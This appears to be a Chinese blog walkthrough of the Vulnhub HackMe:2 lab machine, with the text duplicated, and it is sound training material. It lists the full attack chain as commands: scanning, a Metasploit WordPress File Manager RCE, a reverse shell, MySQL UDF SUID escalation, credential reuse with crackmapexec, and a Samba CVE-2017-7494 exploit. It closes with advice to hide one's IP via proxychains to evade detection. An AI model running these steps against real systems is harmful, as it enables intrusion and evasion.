1. 靶机环境概述HackMe:2是Vulnhub平台上发布的CTF风格渗透测试靶机属于从外网突破到内网提权的经典训练环境。这个靶机延续了第一代的Web应用漏洞主线新增了Active Directory域渗透场景适合有一定基础的渗透测试学习者巩固技能树。我使用VMware Workstation 16搭建实验环境攻击机为Kali Linux 2023.3与靶机处于同一NAT网络段192.168.136.0/24。靶机默认开放80、445等常见端口需要依次突破Web应用漏洞、权限维持、横向移动和域控提权四个阶段。2. 初始信息收集2.1 网络扫描与端口探测使用nmap进行全端口扫描的命令如下nmap -sS -p- -T4 192.168.136.132 -oN full_scan.nmap扫描结果显示开放端口80/tcp http 445/tcp microsoft-ds 3306/tcp mysql2.2 Web应用指纹识别访问80端口发现WordPress站点使用wpscan识别版本wpscan --url http://192.168.136.132 --enumerate p,t,u关键发现WordPress 5.7.1存在已知漏洞插件File Manager 6.0含RCE漏洞用户admin、editor存在弱密码风险3. 漏洞利用过程3.1 Web应用突破利用File Manager插件漏洞上传webshellmsfconsole -q -x use exploit/unix/webapp/wp_file_manager_rce; set RHOSTS 192.168.136.132; exploit成功获取www-data权限的reverse shell后立即升级为交互式终端python3 -c import pty; pty.spawn(/bin/bash)3.2 权限提升路径在/var/www/html/wp-config.php中发现数据库凭证define(DB_USER, wp_user); define(DB_PASSWORD, S3cur3PssW0rd!);通过MySQL UDF提权SELECT sys_exec(chmod s /bin/bash); /bin/bash -p4. 域环境渗透4.1 横向移动在/etc/samba/smb.conf发现域控制器信息workgroup HACKME server string %h server (Samba, Ubuntu)使用获取的密码尝试域用户枚举crackmapexec smb 192.168.136.133 -u wp_user -p S3cur3PssW0rd! --users4.2 域控提权利用Samba漏洞CVE-2017-7494msfconsole -q -x use exploit/linux/samba/is_known_pipename; set RHOSTS 192.168.136.133; set SMB_USER wp_user; set SMB_PASS S3cur3PssW0rd!; exploit5. 防御加固建议WordPress安全配置及时更新核心和插件版本禁用不必要的插件功能配置Web应用防火墙规则系统层防护禁用不必要的Samba共享配置AppArmor/SELinux策略定期审计SUID/SGID文件域环境安全实施最小权限原则启用LDAP签名/加密监控异常身份验证行为6. 常见问题排查无法获取反向shell检查防火墙规则iptables -L -n验证payload架构兼容性file /bin/bash尝试不同连接方式nc/meterpreter提权失败处理检查内核版本uname -a查找可写目录find / -writable -type d 2/dev/null尝试其他提权路径sudo -l, cron jobs域渗透受阻验证时间同步ntpdate -q检查DNS解析nslookup dc.hackme.local尝试其他协议LDAP/Kerberos实际渗透时建议全程使用代理链工具proxychains隐藏真实IP避免触发防御系统的报警机制。 
长河君 · 2026/11/2 20:33:25 · 阅读 1.2k HackMe:2靶机渗透实战：从Web漏洞到域控提权
1. 靶机环境概述HackMe:2是Vulnhub平台上发布的CTF风格渗透测试靶机属于从外网突破到内网提权的经典训练环境。这个靶机延续了第一代的Web应用漏洞主线新增了Active Directory域渗透场景适合有一定基础的渗透测试学习者巩固技能树。我使用VMware Workstation 16搭建实验环境攻击机为Kali Linux 2023.3与靶机处于同一NAT网络段192.168.136.0/24。靶机默认开放80、445等常见端口需要依次突破Web应用漏洞、权限维持、横向移动和域控提权四个阶段。2. 初始信息收集2.1 网络扫描与端口探测使用nmap进行全端口扫描的命令如下nmap -sS -p- -T4 192.168.136.132 -oN full_scan.nmap扫描结果显示开放端口80/tcp http 445/tcp microsoft-ds 3306/tcp mysql2.2 Web应用指纹识别访问80端口发现WordPress站点使用wpscan识别版本wpscan --url http://192.168.136.132 --enumerate p,t,u关键发现WordPress 5.7.1存在已知漏洞插件File Manager 6.0含RCE漏洞用户admin、editor存在弱密码风险3. 漏洞利用过程3.1 Web应用突破利用File Manager插件漏洞上传webshellmsfconsole -q -x use exploit/unix/webapp/wp_file_manager_rce; set RHOSTS 192.168.136.132; exploit成功获取www-data权限的reverse shell后立即升级为交互式终端python3 -c import pty; pty.spawn(/bin/bash)3.2 权限提升路径在/var/www/html/wp-config.php中发现数据库凭证define(DB_USER, wp_user); define(DB_PASSWORD, S3cur3PssW0rd!);通过MySQL UDF提权SELECT sys_exec(chmod s /bin/bash); /bin/bash -p4. 域环境渗透4.1 横向移动在/etc/samba/smb.conf发现域控制器信息workgroup HACKME server string %h server (Samba, Ubuntu)使用获取的密码尝试域用户枚举crackmapexec smb 192.168.136.133 -u wp_user -p S3cur3PssW0rd! --users4.2 域控提权利用Samba漏洞CVE-2017-7494msfconsole -q -x use exploit/linux/samba/is_known_pipename; set RHOSTS 192.168.136.133; set SMB_USER wp_user; set SMB_PASS S3cur3PssW0rd!; exploit5. 防御加固建议WordPress安全配置及时更新核心和插件版本禁用不必要的插件功能配置Web应用防火墙规则系统层防护禁用不必要的Samba共享配置AppArmor/SELinux策略定期审计SUID/SGID文件域环境安全实施最小权限原则启用LDAP签名/加密监控异常身份验证行为6. 常见问题排查无法获取反向shell检查防火墙规则iptables -L -n验证payload架构兼容性file /bin/bash尝试不同连接方式nc/meterpreter提权失败处理检查内核版本uname -a查找可写目录find / -writable -type d 2/dev/null尝试其他提权路径sudo -l, cron jobs域渗透受阻验证时间同步ntpdate -q检查DNS解析nslookup dc.hackme.local尝试其他协议LDAP/Kerberos实际渗透时建议全程使用代理链工具proxychains隐藏真实IP避免触发防御系统的报警机制。